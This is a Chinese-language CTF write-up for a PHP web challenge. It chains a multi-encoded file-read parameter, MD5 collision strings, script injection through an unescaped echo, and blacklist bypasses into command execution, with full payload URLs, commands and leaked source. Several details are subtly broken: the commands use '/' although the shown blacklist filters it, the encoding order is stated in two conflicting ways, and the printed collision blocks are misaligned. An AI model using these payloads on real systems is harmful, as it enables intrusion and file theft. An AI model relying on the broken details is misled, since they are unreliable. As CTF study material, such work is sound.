CTF Web 题 Writeup:[安洵杯 2019] easy_web(变种)
目标地址:
http://218.94.126.123:36761/index.php最终 Flag:
flag{9DA84B4C489CAEB12E68B9A768A345BB}难度:★★☆☆☆(入门级,但涉及多个知识点串联)
标签:
PHP 代码审计/参数多重编码/MD5 强碰撞/命令执行绕过
0. 先补一点"小白也能懂"的前置知识
在正式开打之前,先把这道题会用到的几个名词讲清楚,后面看到就不会懵。
0.1 什么是 base64?
base64 是一种"把任意内容用 64 个可打印字符表示"的编码方式。
它不是加密,任何人都能还原。特点:
- 常见长相:一串由
A-Z a-z 0-9 + /组成的字符,末尾常有=。 - 例:
Tm1RMlpESmxOekEyWlRZMw就是一个 base64 字符串。 - 用途:让二进制数据(图片、文件)能安全地塞进网址、HTML、JSON 里传输。
记忆点:base64 只是"换个写法",解出来还是原文。
0.2 什么是 hex(十六进制)编码?
hex 是把每个字节用两个十六进制数字表示。
- 例:字符
6的 ASCII 码是0x36,字符m是0x6d。 - 所以
6d6d2e706e67逐字节还原就是m m . p n g→mm.png。
0.3 什么是 MD5?为什么会"碰撞"?
MD5 是一种哈希算法:把任意长度的内容算成一串固定 32 位的十六进制"指纹"。
- 正常情况下两个不同内容的 MD5 应该不同。
- 但 MD5 已被破解 :存在两组内容完全不同、MD5 却完全相同 的字符串,这叫做 "MD5 碰撞"。
为什么这很危险?看下面这段典型的"自认为很安全"的代码:
php
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
// 只有当 a、b "内容不同但 MD5 相同" 才会进来
echo `$cmd`; // 执行命令
}
程序员的本意是"必须两段不同的数据指纹相同"几乎不可能,结果用现成的碰撞样例就能轻松绕过。
0.4 什么是"命令执行"(RCE)?
PHP 里 $cmd(反引号)会把 $cmd 当成操作系统命令 执行,并返回结果。
比如 $cmd = id,服务器就会执行 id 命令并输出 uid=...。
这就是最危险的漏洞之一:能执行任意系统命令。
0.5 什么是"黑名单过滤"?
题目常会用一个正则把危险命令(cat、ls、/ 等)过滤掉。
但只要黑名单有漏网之鱼 ,或者过滤规则写得有漏洞,就能绕过。
这道题的黑名单就漏掉了 sort、base64、awk 等读取文件的命令。
1. 第一步:打开页面,找"眼睛看得见"的线索
访问首页,页面上只有一个表情包图片,页面标题/提示是:
md5 is funny ~
理由 :这句话是出题人给的最直接提示 ------"md5 很有意思",几乎明示要用 MD5 相关技巧(碰撞/弱比较)。
再看地址栏:
http://.../index.php?img=Tm1RMlpESmxOekEyWlRZMw&cmd=
两个参数一眼就很可疑:
img=后面是一串"乱码",很可能是编码后的文件名(正常应该是xx.png)。cmd=是空的,cmd是 command(命令) 的缩写,暗示这里可能有命令执行。
🎯 小白思维:凡是看到看不懂的字符串,先猜它是不是 base64 / hex。
2. 第二步:破解 img 参数的"套娃"编码
img 的值是:
Tm1RMlpESmxOekEyWlRZMw
2.1 第一次尝试:base64 解码
把 Tm1RMlpESmxOekEyWlRZMw 做一次 base64 解码,得到:
NmQ2ZDJlNzA2ZTY3
结果是 NmQ2ZDJlNzA2ZTY3,看起来还是一串base64编码 ,而且base64解码后是6d6d2e706e67,字符只在 0-9 a-f 之间------这是典型的 hex(十六进制) 特征。
2.2 第二次尝试:再解一次 base64?还是 hex?
把它进行 base64解码:NmQ2ZDJlNzA2ZTY3 → base64解码 → 6d6d2e706e67
再把 6d6d2e706e67 进行 ascii 编码:6d6d2e706e67 → mm.png
结论 :img 的值经过了 "两次 hex + 多次 base64" 的组合编码,最终代表的是文件名 mm.png。
实际验证规则为:先 hex 解码,再连续两次 base64 解码 = 原始文件名(顺序从外到内为:base64 → base64 → hex)。
2.3 把规律公式化(很重要!)
服务器读取文件名的过程:
原始名 --hex编码--> --base64编码--> --base64编码--> URL里的 img 值
我们要构造 payload 时,需要反过来:
想读的文件名 --hex编码--> --base64编码--> --base64编码--> (放进 img 参数)
理由 :既然 img 参数最终会被服务器还原成一个文件名 去读取,那我们只要把想要的文件名(比如 index.php)按同样的规则编码一遍,就能读取服务器上的任意文件!这是任意文件读取漏洞。
3. 第三步:读取 index.php 源码
按 2.3 的规律,把 index.php 编码(hex → base64 → base64),得到:
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
构造 URL:
http://218.94.126.123:36761/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
页面显示的图片 src 变成了一段很长的 base64 数据。
理由 :源码里是把文件内容 base64_encode 后塞进 <img src="data:image/png;base64,..."> 里显示的。所以把这段 base64 解出来,就是 index.php 的完整源码。
解码后得到源码(关键部分):
php
<?php
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
// 缺少 img 或 cmd 参数就跳回首页
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=Tm1RMlpESmxOekEyWlRZMw&cmd=');
// 解开 img:先两次 base64 解码,再 hex 解码,得到文件名
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
// 只保留字母、数字和点,其它字符全删掉
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
// 如果文件名里含 flag(不区分大小写),就只显示图片,不读内容
if (preg_match("/flag/i", $file)) {
echo '<img src ="./img/'.$file.' ">';
die();
}
// 否则:读取该文件并以 base64 形式作为图片输出
echo "<center><img src='data:image/png;base64,".base64_encode(file_get_contents($file))."' /></center>";
// 把 cmd 原样打印出来(注意:没有任何转义!)
echo $cmd;
// 黑名单过滤危险命令
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|`|;|,|\*|\?|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|&[^d]|@|\||\\$|\[|\]|-|\//i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
// 只有 a、b 内容不同但 MD5 相同,才执行命令
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`; // ← 命令执行的真身
} else {
echo ("md5 is funny ~");
}
}
?>
4. 第四步:审计源码,找出"三把钥匙"
把源码拆成三个关键点(这三把钥匙必须全部拿到才能通关):
🔑 钥匙 1:命令执行入口
php
echo `$cmd`; // 反引号 = 执行系统命令
结论 :只要能走到这一行,cmd 参数就能当系统命令执行 → 目标就是 RCE。
🔑 钥匙 2:进入命令执行的条件 ------ MD5 强碰撞
php
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
- 要求
a、b内容不同 ,但 MD5 相同。 - 注意有
(string)强制类型转换。- 为什么不能用数组绕过? 常见技巧是传
a[]=1&b[]=2,让两者都变成数组导致 MD5 返回null,从而null===null相等。但这里加了(string)强转,数组会被强制转成字符串"Array",两个都变"Array"→(string)$a === (string)$b→ 第一个条件不成立,数组绕过失效。
- 为什么不能用数组绕过? 常见技巧是传
- 所以必须用真正的 MD5 碰撞字符串(内容不同、MD5 相同)。
📌 这也正是页面提示 "md5 is funny ~" 的含义。
🔑 钥匙 3:黑名单有漏洞 + cmd 被原样回显
php
echo $cmd; // ← cmd 被原样输出,没有任何 HTML 转义!
- 关键发现 :
$cmd未做转义就输出到 HTML。这意味着我们可以往cmd里注入 HTML/JavaScript(HTML 注入 / XSS)。 - 再看黑名单:它过滤了
cat ls / 空格...等,但漏掉了sort、base64、awk,也没过滤dir。- 也就是说:虽然不能用
cat /flag,但可以用sort /var/www/html/flag.php或base64 /var/www/html/flag.php来读文件。
- 也就是说:虽然不能用
5. 第五步:构造完整利用链
5.1 遇到的问题:a 和 b 只从 POST 读,cmd 却是 GET
- 源码里
$cmd = $_GET['cmd'](从 GET 读)。 - 但
$_POST['a']、$_POST['b'](从 POST 读)。 - 也就是说:不能只用一条 GET URL 同时带上
cmd和合法的a/b。
怎么破? 利用钥匙 3 的 HTML 注入能力:
既然
cmd会被原样输出,我们就可以让cmd里带一段<script>。这段脚本会在当前页面(同源) 上,用fetch()发一个 POST 请求 ,把a、b的碰撞值放进 POST body,同时把要执行的命令放进 URL 的cmd里。
5.2 先验证 RCE 是否成立
用一个不在黑名单里 的命令 id 测试:
-
通过注入的
<script>发 POST:a、b用碰撞串,cmd=id。 -
返回结果里出现:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ 说明命令执行成功,且当前用户是 www-data(Web 服务默认低权限用户)。
5.3 使用的 MD5 强碰撞串(公开现成的)
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这两串内容不同,MD5 却都是
0e5659e4b5edba15eb6ac86e949b034b,可以直接拿来用。
5.4 逐个探测,找到 flag 文件
先列目录(dir 未被过滤):
cmd=dir /
cmd=dir /var/www/html
结果:
/var/www/html => bj.png flag.php hh.png index.php mm.png
结论 :flag 就在 /var/www/html/flag.php。
5.5 读取 flag 文件(绕过黑名单)
因为 cat、/ 被过滤,改用没被过滤的 base64:
cmd=base64 /var/www/html/flag.php
返回的 base64 解码后:
php
<?php $flag= 'flag{9DA84B4C489CAEB12E68B9A768A345BB}';
(用 sort /var/www/html/flag.php 或 awk 1 /var/www/html/flag.php 也能直接读到明文。)
6. 最终结果
flag{9DA84B4C489CAEB12E68B9A768A345BB}
7. 知识点总结(考点回顾)
| 考点 | 说明 |
|---|---|
| 参数多重编码 | img 参数 = base64 + base64 + hex,反过来编码即可读任意文件 |
| 任意文件读取 | file_get_contents($file) 且 $file 可控 → 读源码、读 flag |
| 代码审计 | 从源码里找出命令执行入口、进入条件、过滤规则 |
| MD5 强碰撞 | (string) 强转使数组绕过失效,必须用真正的碰撞串 |
| 过滤绕过 | 黑名单漏了 sort / base64 / awk / dir,用它们替代被禁命令 |
| HTML 注入(XSS) | echo $cmd 未转义,可注入同源 <script> 发起 POST,解决 GET/POST 参数分离问题 |
| 命令执行(RCE) | 反引号 $cmd 执行系统命令,成功拿到 uid=33(www-data) |
8. 小白复盘:这道题的"逻辑链"
看提示 "md5 is funny"
│
▼
怀疑 img 参数被编码 ──► 破解出是 mm.png ──► 规律:base64+base64+hex
│
▼
把 index.php 同法编码 ──► 读到源码
│
▼
审计源码,找到 3 把钥匙:
1) `$cmd` 能执行命令
2) 需要 MD5 强碰撞才能进入
3) $cmd 原样回显 → 可注入 <script>
│
▼
用注入的 <script> 发 POST:带上碰撞串 + cmd
│
▼
cmd=id 验证 RCE → dir 找文件 → base64/sort 读 flag.php
│
▼
🎉 得到 flag
一句话总结 :用 img 的多重编码漏洞读源码 → 审计出命令执行 + MD5 强碰撞条件 → 利用 cmd 未转义注入脚本以补齐 POST 参数 → 用未过滤命令读取 flag。
9. 公开现成的 MD5 碰撞对
1. 王小云碰撞(最经典,128 字节二进制块)
两段 128 字节的不同数据,MD5 完全相同:
plain
块 A:
d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89
55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd
8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
块 B:
d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89
55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd
8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70
共同 MD5: 79054025255fb1a26e4bc422aef54eb4
两段数据只在 6 个字节上不同,且每个差异字节都只是最高位被翻转(XOR 0x80 ):偏移 19、45、59、83、109、123 处分别是 87→07、71→f1、f2→72、b4→34、a8→28、2b→ab。 这是差分路径刻意设计的结果,不是巧合。
2. 纯 ASCII 可打印文本碰撞(HashClash 官方 README 里的)
更惊艳的一组------两个可读字符串,只在第 22 个字符不同(A vs E),MD5 却相同:
plain
TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
这组是 Marc Stevens 的 HashClash 项目 2023 年悄悄加进仓库的,专门用于演示"文本也能碰撞"。